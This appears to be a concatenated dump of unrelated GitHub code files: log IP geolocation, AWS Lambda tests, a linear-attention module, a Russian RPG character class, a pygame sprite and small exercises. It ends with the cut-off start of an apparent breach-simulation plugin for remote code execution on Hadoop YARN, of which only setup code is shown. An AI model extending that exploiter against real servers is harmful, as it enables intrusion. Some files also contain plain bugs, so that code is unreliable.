pygeoip.GeoIP(GeoIPDatabase)\n record = ipData.record_by_name(ip)\n print('The geolocation for IP Address %s is:' % ip)\n print('Accurate Location: %s, %s, %s' % (record['city'], record['region_code'], record['country_name']))\n print('General Location: %s' % (record['metro_code']))\n\ndef ipLocatorCountry(ip):\n GeoIPDatabase = 'GeoLiteCity.dat'\n ipData = pygeoip.GeoIP(GeoIPDatabase)\n record = ipData.record_by_name(ip)\n return record['country_name']\n\ncontent_ip = []\nfilename = \"haxors.txt\" #filename of log file to analyze\n#filter out all ip addresses:\nwith open(filename, \"r\") as processed_file:\n content = processed_file.readlines()\n content_stripped = [x.strip() for x in content]\n for x in content_stripped:\n curr_ip = re.search(r\"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b\", x) #only find ip-adresses in the logfile\n content_ip.append(curr_ip.group(0))\n\nuniqips = sorted(set(content_ip)) #remove duplicate words and sort\ncountry_file = open('countries.txt','w') #open file for countries\nip_count = []\nfor ip in uniqips:\n ip_count.append(content_ip.count(ip)) #count occurences of unique ips\n #do some geolocation:\n #country_file.write(ipLocatorCountry(ip))\n try:\n print(ipLocatorCountry(ip)) #do the geolocation of each unique ip\n country_file.write(ipLocatorCountry(ip))\n country_file.write(\"\\n\")\n except:\n print(\"error\")\n\ncountry_file.close()\n\n#do some statistics and plotting\n\ntotal_access_tries = sum(ip_count) #compute total nr. of access as sum of all lines/ips etc\nip_count_np = np.asarray(ip_count) #convert to numpy array\nfractional_count = ip_count_np/total_access_tries #calculate fraction and multiply by 100 to get percent\nfractional_count = fractional_count * 100\n\n#plot nice pie chart\n\nfig1, ax1 = plt.subplots()\nax1.pie(fractional_count, shadow=True, startangle=90)\nax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\nplt.title('Fractional Count: Total Access Tries: {} from {} different ips. \\nTop Hit: {} tries'.format(total_access_tries, ip_count_np.size, ip_count_np.max()))\nplt.show()\n\n","repo_name":"ivosonntag/WennDasBierAlleIst","sub_path":"shitty_ip_data_analysis/access_analysis.py","file_name":"access_analysis.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16387152127","text":"import os\nimport sys\n\n# Get the directory path of the script\nscript_dir = os.path.dirname(os.path.abspath(sys.argv[0]))\n\n# Define the folder and output file paths\nfolder_path = os.path.join(script_dir, 'gallery')\noutput_file = os.path.join(script_dir, 'file_names.txt')\n\n# Get a list of file names in the folder\nfile_names = os.listdir(folder_path)\n\n# Filter out non-file entries (e.g., subfolders)\nfile_names = [file for file in file_names if os.path.isfile(\n os.path.join(folder_path, file))]\n\n# Enclose file names in quotation marks and join with commas\nformatted_names = ', '.join([f'\"{file_name}\"' for file_name in file_names])\n\n# Write the formatted names to the output file\nwith open(output_file, 'w') as file:\n file.write(formatted_names)\n\nprint(f'File list written to {output_file}.')\n","repo_name":"dphillip11/rphillip","sub_path":"Static/script--getNames.py","file_name":"script--getNames.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32586165520","text":"import os\nimport sys\nimport boto3\nimport pytest\nfrom unittest import mock\nfrom moto import mock_s3\n\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\napp_dir = os.path.join(current_dir, \"..\", \"lambda-access-s3\")\nsys.path.append(app_dir)\n\nimport LambdaAccessS3\nfrom LambdaAccessS3 import app \nfrom LambdaAccessS3.app import lambda_handler\n\n@pytest.fixture\ndef s3_client():\n with mock_s3():\n yield boto3.client('s3', region_name='ap-south-1')\n\n@pytest.fixture\ndef context():\n return object()\n\ndef test_lambda_handler(s3_client, context):\n # Create a mock S3 bucket and upload a file\n s3_client.create_bucket(Bucket='s-s3-csv-lambda',CreateBucketConfiguration={'LocationConstraint': 'ap-south-1'})\n with open(\"C:\\\\Users\\\\Chini\\\\Downloads\\\\Sample-Spreadsheet-10-rows.csv\", 'rb') as data:\n s3_client.put_object(Bucket='s-s3-csv-lambda', Key='Sample-Spreadsheet-10-rows.csv', Body=data)\n\n event = {} \n response = lambda_handler(event, context)\n\n assert response['statusCode'] == 200\n assert response['body'] == 'File read successfully.'\n \ndef test_lambda_handler_non_existent_bucket(s3_client, context):\n event = {}\n with pytest.raises(Exception):\n lambda_handler(event, context)\n\ndef test_lambda_handler_non_existent_key(s3_client, context):\n s3_client.create_bucket(Bucket='s-s3-csv-lambda', CreateBucketConfiguration={'LocationConstraint': 'ap-south-1'})\n event = {} \n with pytest.raises(Exception):\n lambda_handler(event, context)\n\ndef test_lambda_handler_non_csv_file(s3_client, context):\n # Create a mock S3 bucket and upload a non-CSV file\n s3_client.create_bucket(Bucket='s-s3-csv-lambda', CreateBucketConfiguration={'LocationConstraint': 'ap-south-1'})\n with open(\"C:\\\\Users\\\\Chini\\\\Downloads\\\\Testing lambda.docx\", 'rb') as data:\n s3_client.put_object(Bucket='s-s3-csv-lambda', Key='Testing lambda.docx', Body=data)\n\n event = {} \n with pytest.raises(Exception):\n lambda_handler(event, context)\n \ndef test_lambda_handler_empty_file(s3_client, context):\n # Create a mock S3 bucket and upload an empty file\n s3_client.create_bucket(Bucket='s-s3-csv-lambda', CreateBucketConfiguration={'LocationConstraint': 'ap-south-1'})\n with open(\"C:\\\\Users\\\\Chini\\\\Downloads\\\\Blank-CSV-Template.csv\", 'rb') as data:\n s3_client.put_object(Bucket='s-s3-csv-lambda', Key='Blank-CSV-Template.csv', Body=data)\n\n event = {} \n with pytest.raises(Exception):\n lambda_handler(event, context)\n\n\n","repo_name":"ShuchithaA/antstack-assignment","sub_path":"A9-S-lambda-read-csv-s3/tests/unit/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23340137700","text":"from typing import List, Tuple\n\nimport torch\nfrom torch import nn\n\nfrom popgym.baselines.models.aggregations import get_aggregator\n\n\nclass Phi(nn.Module):\n def forward(self, x):\n return torch.nn.functional.elu(x) + 1\n\n\nclass LinearAttentionBlock(nn.Module):\n \"\"\"\n The building block from the Linear Transformers are Secretly RNNs Paper. This is\n a form of linear transformer.\n\n Inputs:\n input_size: Size of input feature dim\n hidden_size: Size of key/query/value space\n S_aggregator: Which type of aggregation to use for the numerator (S term)\n Z_aggregator: Which type of aggregation to use for the denominator (Z term)\n feed_forward: Whether to apply a perceptron to the output\n residual: Whether to apply a residual connection from input to output\n \"\"\"\n\n def __init__(\n self,\n input_size: int,\n hidden_size: int,\n S_aggregator: str = \"sum\",\n Z_aggregator: str = \"sum\",\n feed_forward=True,\n residual=True,\n ):\n super().__init__()\n self.key = nn.Linear(input_size, hidden_size, bias=False)\n self.query = nn.Linear(input_size, hidden_size, bias=False)\n self.value = nn.Linear(input_size, hidden_size, bias=False)\n self.norm = nn.LayerNorm(input_size)\n self.phi = Phi()\n self.S_aggregator = get_aggregator(S_aggregator)()\n self.Z_aggregator = get_aggregator(Z_aggregator)()\n self.feed_forward = feed_forward\n self.residual = residual\n\n if self.feed_forward:\n self.ff = nn.Sequential(\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(inplace=True),\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(inplace=True)\n )\n if self.residual:\n self.shortcut = nn.Linear(input_size, hidden_size)\n\n def forward(\n self, x: torch.Tensor, state: List[torch.Tensor]\n ) -> Tuple[torch.Tensor, List[torch.Tensor]]:\n \"\"\"\n Input:\n x: [B, T, F]\n state: Tuple[\n [B, 1, D, D],\n [B, 1, D]\n ]\n Output:\n y: [B, T, D]\n state: Tuple[\n [B, 1, D, D],\n [B, 1, D]\n ]\n \"\"\"\n\n x = self.norm(x)\n K = self.phi(self.key(x))\n Q = self.phi(self.query(x))\n V = self.value(x)\n S, Z = state\n B, T, F = K.shape\n\n # S = sum(K V^T)\n S = self.S_aggregator(\n torch.einsum(\"bti, btj -> btij\", K, V).reshape(B, T, F * F),\n S.reshape(B, 1, F * F),\n ).reshape(B, T, F, F)\n # Z = sum(K)\n Z = self.Z_aggregator(K, Z.reshape(B, 1, F))\n # numerator = Q^T S\n numerator = torch.einsum(\"bti, btil -> btl\", Q, S)\n # denominator = Q^T Z\n denominator = torch.einsum(\"bti, btl -> bt\", Q, Z).reshape(B, T, 1) + 1e-5\n # output = (Q^T S) / (Q^T Z)\n output = numerator / denominator\n\n if self.feed_forward:\n output = self.ff(output)\n\n if self.residual:\n output = output + self.shortcut(x)\n\n state = [S, Z]\n\n return output, state\n","repo_name":"proroklab/popgym","sub_path":"popgym/baselines/models/linear_attention.py","file_name":"linear_attention.py","file_ext":"py","file_size_in_byte":3214,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"21"} +{"seq_id":"36907481053","text":"# -*- coding: UTF-8 -*-\n\nfrom enum import Enum\nfrom colors import color as cl\nimport random\nimport artefacts\nimport weapons\nimport defence\n\nclass Type(Enum):\n POTSAN = 0\n OTMOROZOK = 1\n GOPNIK = 2\n VOR = 3\n MANIAC = 4\n BEZPREDEL = 5\n DOHLAK = 6\n NEFOR = 7\n MENT = 8\n NARK = 9\n\n def __str__(self):\n if self == Type.POTSAN:\n return \"Подтсан\"\n elif self == Type.OTMOROZOK:\n return \"Отморозок\"\n elif self == Type.GOPNIK:\n return \"Гопник\"\n elif self == Type.VOR:\n return \"Вор\"\n elif self == Type.MANIAC:\n return \"Маньячок\"\n elif self == Type.BEZPREDEL:\n return \"Беспредельщик\"\n elif self == Type.DOHLAK:\n return \"Дохляк\"\n elif self == Type.NEFOR:\n return \"Нефор\"\n elif self == Type.MENT:\n return \"Мент\"\n elif self == Type.NARK:\n return \"Нарк\"\n else:\n raise TypeError(\"Unknown type\")\n\nclass Person:\n \n def __init__(self, person_type, name):\n self.name = \"\"\n self.person_type = None\n self.strength = 0\n self.agility = 0\n self.vitality = 0\n self.luck = 0\n self.level = 0\n self.shield = 0\n self.current_health = 0\n self.artefacts = []\n self.weapons = []\n self.shields = []\n self.skill = 0\n self.beer = float(0.0)\n self.pot = 0\n self.money = 0\n self.stuff = 0\n # Есть мобила?\n self.mobile = False\n # Есть солнечные очки\n self.sun_glass = False\n # Есть татуировка\n self.tattoo = False\n # Есть зубная защита\n self.jaw_shield = False\n # Сломана нога?\n self.broken_leg = False\n # Сломана челюсть?\n self.broken_jaw = False\n self.person_type = person_type\n self.name = name\n # Понтовость среди гопоты\n self.pont = 0\n if person_type == Type.POTSAN:\n self.strength = 3\n self.agility = 3\n self.vitality = 3\n self.luck = 3\n elif person_type == Type.OTMOROZOK:\n self.strength = 5\n self.agility = 2\n self.vitality = 4\n self.luck = 1\n elif person_type == Type.GOPNIK:\n self.strength = 4\n self.agility = 3\n self.vitality = 3\n self.luck = 2\n elif person_type == Type.VOR:\n self.strength = 3\n self.agility = 3\n self.vitality = 2\n self.luck = 4\n elif person_type == Type.MANIAC:\n self.strength = 4\n self.agility = 5\n self.vitality = 4\n self.luck = 5\n elif person_type == Type.BEZPREDEL:\n self.strength = 5\n self.agility = 5\n self.vitality = 4\n self.luck = 4\n elif person_type == Type.DOHLAK:\n self.strength = 1\n self.agility = 2\n self.vitality = 2\n self.luck = 1\n elif person_type == Type.NEFOR:\n self.strength = 2 #3\n self.agility = 2 #1\n self.vitality = 1 #2\n self.luck = 4 #3\n elif person_type == Type.MENT:\n self.strength = 4\n self.agility = 5\n self.vitality = 4\n self.luck = 5\n elif person_type == Type.NARK:\n self.strength = 2\n self.agility = 1\n self.vitality = 4\n self.luck = 1\n self.current_health = self.getMaxHealth()\n\n def levelStr(self):\n names = [\n \"Опущенный\",\n \"Полное ЧМО\",\n \"ЧМО\",\n \"Частично не ЧМО\",\n \"Чё-то не понятное\",\n \"Чё-то отдалённо похожее на не ЧМО\"\n \"Вроде не ЧМО\",\n \"Не ЧМО\",\n \"Совсем не ЧМО\",\n \"Похожий на Чувака\",\n \"Чувак\",\n \"Нормальный Чувак\",\n \"Да нормальный такой Чувак\",\n \"Довольно понтовый чувак\",\n \"Понтовый Чувак\",\n \"Вполне понтовый Чувак\",\n \"Очень понтовый чувак\",\n \"Чувак отдалённо похожий на Пацана\",\n \"Похожий на Пацана\",\n \"Сильно похожий на Пацана\",\n \"Вроде Пацан\",\n \"Пацан\",\n \"Пацан покруче\",\n \"Понтоватый Пацан\",\n \"Понтовый Пацан\",\n \"Очень понтовый Пацан\",\n \"Крутой Пацан\",\n \"Очень крутой Пацан\",\n \"Пацан метящий в реальные\",\n \"Довольно реальный Пацан\",\n \"Реальный Пацан\",\n \"Пацан немного более реальный\",\n \"Очень реальный Пацан\",\n \"Офигенно реальный Пацан\",\n \"Да типа ваще реальный Пацан\",\n \"Смотри не лопни от реальности, реальный Пацан\",\n \"Крутой Реальный Пацан\",\n \"Очень крутой Реальный Пацан\",\n \"Самый Крутой Реальный Пацан\",\n \"Пацан, который завалил Проректора СУНЦа\",\n \"Пацан, который всех опрокинул\",\n ]\n if self.level < len(names):\n return names[self.level]\n else:\n return \"Не в этой жизни\"\n\n def getMinStrike(self):\n bestWeaponStrike = 0\n for w in self.weapons:\n if w.strike_mod > bestWeaponStrike:\n bestWeaponStrike = w.strike_mod\n return self.eff_strength() // 2 + bestWeaponStrike\n\n def getMaxStrike(self):\n bestWeaponStrike = 0\n for w in self.weapons:\n if w.strike_mod > bestWeaponStrike:\n bestWeaponStrike = w.strike_mod\n return self.eff_strength() + bestWeaponStrike\n\n def getMaxHealth(self):\n return 10 + self.eff_vitality()*5 + self.eff_strength()\n\n def nextLevelSkill(self):\n if self.level < 0:\n self.level = 0\n return 10*(self.level + 1)\n\n def levelUp(self, silent=False):\n s = self.strength + self.agility + self.vitality + self.luck\n v = random.randint(0, s - 1)\n descr = \"\"\n if v < self.strength:\n self.strength += 1\n descr = \"Сила +1 \"\n elif v < self.strength + self.agility:\n self.agility += 1\n descr = \"Ловкость +1 \"\n elif v < self.strength + self.agility + self.vitality:\n self.vitality += 1\n descr = \"Живучесть +1 \"\n else:\n self.luck += 1\n descr = \"Удача +1 \"\n v = random.randint(0, s - 1)\n if v < self.strength:\n self.strength += 1\n descr += \"Сила +1\"\n elif v < self.strength + self.agility:\n self.agility += 1\n descr += \"Ловкость +1\"\n elif v < self.strength + self.agility + self.vitality:\n self.vitality += 1\n descr += \"Живучесть +1\"\n else:\n self.luck += 1\n descr += \"Удача +1\"\n self.skill -= self.nextLevelSkill()\n old_level_str = self.levelStr()\n self.level += 1\n new_level_str = self.levelStr()\n if not silent:\n print(cl.b(\"Был ты \" + old_level_str + \" а стал \" + new_level_str))\n print(cl.b(\"Понтовость увеличивается: \" + descr))\n self.current_health = self.getMaxHealth()\n\n def levelDown(self, silent=False):\n if self.level == 0:\n return\n s = self.strength + self.agility + self.vitality + self.luck\n v = random.randint(0, s - 1)\n descr = \"\"\n if v < self.strength:\n self.strength -= 1\n descr = \"Сила -1 \"\n elif v < self.strength + self.agility:\n self.agility += 1\n descr = \"Ловкость -1 \"\n elif v < self.strength + self.agility + self.vitality:\n self.vitality += 1\n descr = \"Живучесть -1 \"\n else:\n self.luck += 1\n descr = \"Удача -1 \"\n v = random.randint(0, s - 1)\n if v < self.strength:\n self.strength += 1\n descr += \"Сила -1\"\n elif v < self.strength + self.agility:\n self.agility += 1\n descr += \"Ловкость -1\"\n elif v < self.strength + self.agility + self.vitality:\n self.vitality += 1\n descr += \"Живучесть -1\"\n else:\n self.luck += 1\n descr += \"Удача -1\"\n if self.strength < 0:\n self.strength = 0\n if self.agility < 0:\n self.agility = 0\n if self.vitality < 0:\n self.vitality = 0\n if self.luck < 0:\n self.luck = 0\n self.skill = 0\n self.level -= 1\n self.current_health = self.getMaxHealth()\n if not silent:\n print(cl.r(descr))\n\n def increaseExp(self, exp):\n if self.level < 0:\n self.level = 0\n self.skill += exp\n while self.skill >= self.nextLevelSkill():\n self.levelUp()\n if self.skill <= 0:\n self.skill = 0\n\n\n def getStrikesAccuracy(self):\n acc = 20 + self.eff_agility()*5\n if acc < 20:\n acc = 20\n strikes = []\n while acc > 0:\n if acc > 90:\n strikes.append(90)\n else:\n strikes.append(acc)\n acc -= 90\n return strikes\n\n def isDead(self):\n return (self.current_health <= 0)\n\n def eff_shield(self):\n '''Броня с учётом действия всех артефактов'''\n val = self.shield\n for s in self.shields:\n val += a.shield_mod\n return val\n\n def eff_strength(self):\n '''Сила с учётом действия всех артефактов'''\n val = self.strength\n for a in self.artefacts:\n val += a.strength_mod\n return val\n\n def eff_strength_s(self):\n val = self.eff_strength()\n if val == self.strength:\n return cl.w(str(val))\n else:\n return cl.b(\"{0}\".format(val))\n\n def eff_agility(self):\n '''Ловкость с учётом действия всех артефактов'''\n val = self.agility\n for a in self.artefacts:\n val += a.agility_mod\n return val\n\n def eff_agility_s(self):\n val = self.eff_agility()\n if val == self.agility:\n return cl.w(str(val))\n else:\n return cl.b(\"{0}\".format(val))\n\n def eff_vitality(self):\n '''Живучесть с учётом действия всех артефактов'''\n val = self.vitality\n for a in self.artefacts:\n val += a.vitality_mod\n return val\n\n def eff_vitality_s(self):\n val = self.eff_vitality()\n if val == self.vitality:\n return cl.w(str(val))\n else:\n return cl.b(\"{0}\".format(val))\n\n def eff_luck(self):\n '''Удача с учётом действия всех артефактов'''\n val = self.luck\n for a in self.artefacts:\n val += a.luck_mod\n return val\n\n def eff_luck_s(self):\n val = self.eff_luck()\n if val == self.luck:\n return cl.w(str(val))\n else:\n return cl.b(\"{0}\".format(val))\n\n def enemyStr(self):\n result = cl.g(\"Это {0} {1} уровня - {2}\\n\".format(str(self.person_type), str(self.level), self.levelStr()))\n result += cl.w(\"Сл:\") + self.eff_strength_s() + cl.w(\" Лв:\") + self.eff_agility_s() + cl.w(\" Жв:\") + self.eff_vitality_s() + cl.w(\" Уд:\") + self.eff_luck_s() + \"\\n\"\n weaponstr = \"Урон {0}-{1}\".format(self.getMinStrike(), self.getMaxStrike())\n if (len(self.weapons) > 0):\n weaponstr += \" \"\n for w in self.weapons:\n weaponstr += str(w)\n weaponstr += \" \"\n weaponstr = cl.lb(weaponstr)\n else:\n weaponstr = cl.w(weaponstr)\n weaponstr += \"\\n\"\n result += weaponstr\n healthstr = \"Здоровье {0}/{1}\".format(self.current_health, self.getMaxHealth())\n if self.broken_leg:\n healthstr += cl.r(\" Сломана нога\")\n if self.broken_jaw:\n healthstr += cl.r(\" Сломана челюсть\")\n healthstr += \"\\n\"\n if self.current_health > (self.getMaxHealth() * 2 / 3):\n result += cl.g(healthstr)\n elif self.current_health > (self.getMaxHealth() * 1 / 3):\n result += cl.y(healthstr)\n else:\n result += cl.r(healthstr)\n strikes = self.getStrikesAccuracy()\n accstr = \"\"\n if len(strikes) == 1:\n accstr = \"Точность {0}%\\n\".format(strikes[0])\n elif len(strikes) == 2:\n accstr = \"Точность 90%, Второй удар {0}%\\n\".format(strikes[1])\n else:\n accstr = \"Точность 90% - {1} ударов, Точность {2} удара {3}%\\n\".format(len(strikes) - 1, len(strikes), strikes[len(strikes) - 1])\n result += cl.w(accstr)\n if (self.eff_shield() > 0):\n shieldstr = \"Броня {0}\".format(self.eff_shield())\n shieldstr += \" \"\n for s in self.shields:\n shieldstr += str(s)\n shieldstr += \" \"\n shieldstr += \"\\n\"\n result += cl.w(shieldstr)\n return result\n\n def __str__(self):\n result = cl.g(\"Ты {0} {1} уровня - {2}\\n\".format(str(self.person_type), str(self.level), self.levelStr()))\n result += cl.g(\"А зовут тебя: \")\n result += self.name\n result += \"\\n\"\n result += cl.y(\"Сейчас у тебя {0} опыта, а для прокачки надо {1}\\n\".format(self.skill, self.nextLevelSkill()))\n result += cl.w(\"Сл:\") + self.eff_strength_s() + cl.w(\" Лв:\") + self.eff_agility_s() + cl.w(\" Жв:\") + self.eff_vitality_s() + cl.w(\" Уд:\") + self.eff_luck_s() + \"\\n\"\n simple_artefacts_str = cl.w(\"Феньки:\")\n simple_artefacts_count = 0\n power_artefacts_str = cl.w(\"Мощные феньки:\")\n power_artefacts_count = 0\n for a in self.artefacts:\n if a.is_powerful:\n power_artefacts_count += 1\n power_artefacts_str += cl.b(\" {0}\".format(str(a)))\n else:\n simple_artefacts_count += 1\n simple_artefacts_str += cl.b(\" {0}\".format(str(a)))\n if simple_artefacts_count > 0:\n result += simple_artefacts_str\n result += \"\\n\"\n if power_artefacts_count > 0:\n result += power_artefacts_str\n result += \"\\n\"\n if self.mobile:\n result += cl.lb(\"У тебя есть мобильник\\n\")\n if self.sun_glass:\n result += cl.lb(\"У тебя есть тёмные очки\\n\")\n if self.tattoo:\n result += cl.lb(\"На тебе зоновская наколка\\n\")\n weaponstr = \"Урон {0}-{1}\".format(self.getMinStrike(), self.getMaxStrike())\n if (len(self.weapons) > 0):\n weaponstr += \" \"\n for w in self.weapons:\n weaponstr += str(w)\n weaponstr += \" \"\n weaponstr = cl.lb(weaponstr)\n else:\n weaponstr = cl.w(weaponstr)\n weaponstr += \"\\n\"\n result += weaponstr\n healthstr = \"Здоровье {0}/{1}\".format(self.current_health, self.getMaxHealth())\n if self.jaw_shield:\n healthstr += cl.b(\" Зубная защита\")\n if self.broken_leg:\n healthstr += cl.r(\" Сломана нога\")\n if self.broken_jaw:\n healthstr += cl.r(\" Сломана челюсть\")\n healthstr += \"\\n\"\n if self.current_health > (self.getMaxHealth() * 2 / 3):\n result += cl.g(healthstr)\n elif self.current_health > (self.getMaxHealth() * 1 / 3):\n result += cl.y(healthstr)\n else:\n result += cl.r(healthstr)\n strikes = self.getStrikesAccuracy()\n accstr = \"\"\n if len(strikes) == 1:\n accstr = \"Точность {0}%\\n\".format(strikes[0])\n elif len(strikes) == 2:\n accstr = \"Точность 90%, Второй удар {0}%\\n\".format(strikes[1])\n else:\n accstr = \"Точность 90% - {1} ударов, Точность {2} удара {3}%\\n\".format(len(strikes) - 1, len(strikes), strikes[len(strikes) - 1])\n result += cl.w(accstr)\n if (len(self.shields) > 0):\n shieldstr = \"Броня {0}\".format(self.shield)\n shieldstr += \" \"\n for s in self.shields:\n shieldstr += str(s)\n shieldstr += \" \"\n shieldstr += \"\\n\"\n result += cl.w(shieldstr)\n if (self.pot > 0):\n result += cl.w(\"Косяки {0}\\n\".format(self.pot))\n if self.beer > 0:\n result += cl.w(\"Пиво {0}л.\\n\".format(round(self.beer, 1)))\n else:\n result += cl.r(\"Пива нет\\n\")\n if self.money > 0:\n result += cl.w(\"Бабки {0}\".format(self.money))\n else:\n result += cl.r(\"Бабок нет\")\n if self.stuff > 0:\n result += cl.w(\"\\nХлам {0}\".format(self.stuff))\n return result\n\n def step(self):\n '''Действия, выполняемые на каждом шаге'''\n health_recovery = 0\n break_healing_prob = 0\n for a in self.artefacts:\n if a.is_powerful:\n health_recovery += a.health_recovery\n break_healing_prob += a.break_healing_prob\n self.current_health += health_recovery\n if self.current_health > self.getMaxHealth():\n self.current_health = self.getMaxHealth()\n if random.randint(0, 100) < break_healing_prob:\n if self.broken_jaw:\n self.broken_jaw = False\n # Надо что-то написать о залечении челюсти\n if random.randint(0, 100) < break_healing_prob:\n if self.broken_leg:\n self.broken_leg = False\n # Надо что-то написать о залечении челюсти","repo_name":"HapKoM/opengopnik","sub_path":"person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":17378,"program_lang":"python","lang":"ru","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"35221106513","text":"from settings import *\nimport pygame as pg\nvec = pg.math.Vector2\nfrom random import choice, random\n\n\nclass Mob(pg.sprite.Sprite):\n def __init__(self, game, x, y):\n self._layer = MOB_LAYER\n self.groups = game.allSprites, game.mobs\n pg.sprite.Sprite.__init__(self, self.groups)\n self.game = game\n self.image = game.mobImg.copy()\n self.image.set_colorkey(BLACK)\n self.rect = self.image.get_rect()\n self.hitRect = MOB_HIT_RECT.copy()\n self.hitRect.center = self.rect.center\n self.pos = vec(x, y)\n self.vel = vec(0, 0)\n self.acc = vec(0, 0)\n self.rect.center = self.pos\n self.speed = choice(MOB_SPEEDS)\n self.rot = 0\n self.health = MOB_HEALTH\n self.rect.center = self.pos\n self.target = self.game.player\n\n def update(self):\n targetDist = self.target.pos - self.pos\n if targetDist.length_squared() < DETECT_RADIUS ** 2:\n if random() < 0.002:\n choice(self.game.zombieMoanSounds).play()\n self.rot = targetDist.angle_to(vec(1, 0))\n\n self.image = pg.transform.rotate(self.game.mobImg.copy(), self.rot)\n self.image.set_colorkey(BLACK)\n self.rect = self.image.get_rect()\n self.rect.center = self.pos\n\n self.acc = vec(self.speed, 0).rotate(-self.rot)\n self.avoidMobs()\n self.acc.scale_to_length(self.speed)\n self.acc += self.vel * -1\n self.vel += self.acc * self.game.dt\n self.pos += self.vel * self.game.dt + 0.5 * self.acc * self.game.dt ** 2\n self.hitRect.centerx = self.pos.x\n collideWithWalls(self, self.game.walls, \"x\")\n self.hitRect.centery = self.pos.y\n collideWithWalls(self, self.game.walls, \"y\")\n self.rect.center = self.hitRect.center\n if self.health <= 0:\n choice(self.game.zombieHitSounds).play()\n self.game.mapImg.blit(self.game.splat, self.pos - vec(32, 32))\n self.kill()\n\n def avoidMobs(self):\n for mob in self.game.mobs:\n if mob != self:\n dist = self.pos - mob.pos\n if 0 < dist.length() < AVOID_RADIUS:\n self.acc += dist.normalize()\n\n def drawHealth(self):\n if self.health > 60:\n col = GREEN\n elif self.health > 30:\n col = YELLOW\n else:\n col = RED\n width = int(self.rect.width * self.health / MOB_HEALTH)\n self.healthBar = pg.Rect(0, 0, width, 7)\n if self.health < MOB_HEALTH:\n pg.draw.rect(self.image, col, self.healthBar)\n","repo_name":"Sdsquires27/Seth-S-Programming-Portfolio","sub_path":"Tile Based Game (Python)/mobs.py","file_name":"mobs.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17776843785","text":"'''\r\nYou are given a string and you have to find its first word\r\n-The input string consists of only English letters and spaces\r\n-There aren’t any spaces at the beginning and the end of the string\r\n\r\n'''\r\n\r\n\r\ndef first_word(a):\r\n if type(a) is str:\r\n a = a + ' '\r\n for i in range(len(a)):\r\n if not a[i:i+1] == ' ':\r\n i += 1\r\n else:\r\n b = a[:i]\r\n print(b) # test\r\n return b \r\n else:\r\n ValueError\r\n print('Only text!')\r\n","repo_name":"SerhijZhenzhera/zhzhs_temp","sub_path":"checkio.org/elementary/multiply_first_word.py","file_name":"multiply_first_word.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73771924851","text":"from typing import List\n\n\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n hash_table = {}\n for i, num in enumerate(nums):\n diff = target - num\n if num in hash_table:\n hash_table[num].append(i)\n return hash_table[num]\n else:\n hash_table[diff] = [i]\n return []\n\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n nums.sort()\n results = []\n for i, num in enumerate(nums[:-2]):\n l, r = i + 1, len(nums) - 1\n while l < r:\n s = num + nums[l] + nums[r]\n if s < 0:\n l += 1\n elif s > 0:\n r -= 1\n else:\n if [num, nums[l], nums[r]] not in results:\n results.append([num, nums[l], nums[r]])\n l += 1\n return results\n\nnums = [2, 7, 8, 11]\nsol = Solution()\nresult = sol.twoSum(nums, 9)\n# print(result)\n\nnums = [0,0,0,0,0]\nnums = [-1,0,1,2,-1,-4]\nnums = [-2, 0, 1, 1, 2]\nresult = sol.threeSum(nums)\nprint(result)","repo_name":"jacky1107/leetcode","sub_path":"medium/15_3sum.py","file_name":"15_3sum.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36379950355","text":"import math, string, itertools, fractions, heapq, collections, re, array, bisect\r\n\r\n\r\nclass GreaterGameDiv2:\r\n def calc(self, snuke, sothe):\r\n score = 0\r\n for i in range(len(snuke)):\r\n if snuke[i] > sothe[i]:\r\n score+=1\r\n return score\r\n print(score)\r\nobj=GreaterGameDiv2\r\nobj.calc({1,3},{4,2},{1.3})","repo_name":"surya-parthipan/Practice","sub_path":"sw.py","file_name":"sw.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40541794702","text":"\"\"\"\n Remote code execution on HADOOP server with YARN and default settings\n Implementation is based on code from\n https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn\n\"\"\"\n\nimport logging\nfrom pprint import pformat\nfrom typing import Any, Dict, Sequence\n\nfrom monkeytypes import Event\n\n# common imports\nfrom common.event_queue import IAgentEventPublisher\nfrom common.types import AgentID\n\n# dependencies to get rid of or internalize\nfrom infection_monkey.exploit import IAgentOTPProvider, IHTTPAgentBinaryServerRegistrar\nfrom infection_monkey.i_puppet import ExploiterResult, TargetHost\n\nfrom .hadoop_exploit_client import HadoopExploitClient\nfrom .hadoop_exploiter import HadoopExploiter\nfrom .hadoop_options import HadoopOptions\n\nlogger = logging.getLogger(__name__)\n\n\nclass Plugin:\n def __init__(\n self,\n *,\n plugin_name: str,\n agent_id: AgentID,\n http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar,\n agent_event_publisher: IAgentEventPublisher,\n otp_provider: IAgentOTPProvider,\n agent_otp_environment_variable: str,\n **kwargs,\n ):\n hadoop_exploit_client = HadoopExploitClient(agent_id, agent_event_publisher)\n\n self._hadoop_exploiter = HadoopExploiter(\n agent_id,\n hadoop_exploit_client,\n http_agent_binary_server_registrar,\n otp_provider,\n 